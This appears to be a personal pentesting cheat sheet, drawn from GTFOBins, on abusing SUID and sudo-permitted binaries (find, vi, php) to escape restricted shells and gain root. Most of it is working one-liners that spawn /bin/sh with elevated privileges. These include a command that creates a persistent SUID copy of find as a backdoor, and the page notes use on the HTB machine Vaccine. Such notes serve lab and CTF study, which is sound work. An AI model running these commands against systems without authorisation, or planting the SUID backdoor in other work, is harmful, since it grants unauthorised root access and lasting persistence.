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Suid binaries

Resources: https://gtfobins.github.io/ contains a list of commands and how they can be exploited through "sudo".

Equivalent to suid binaries in Windows would be: LOLBAS

Most used (by me)

find

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

find . -exec /bin/sh \; -quit

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which find) .

./find . -exec /bin/sh -p \; -quit

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo find . -exec /bin/sh \; -quit

vi

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

#one way
vi -c ':!/bin/sh' /dev/null

# another way
vi
:set shell=/bin/sh
:shell
Used at HTB machine Vaccine.

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo vi -c ':!/bin/sh' /dev/null

php

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

  • CMD="/bin/sh" sudo php -r "system('$CMD');"
Last update: 2023-05-24
Created: January 26, 2023 23:15:59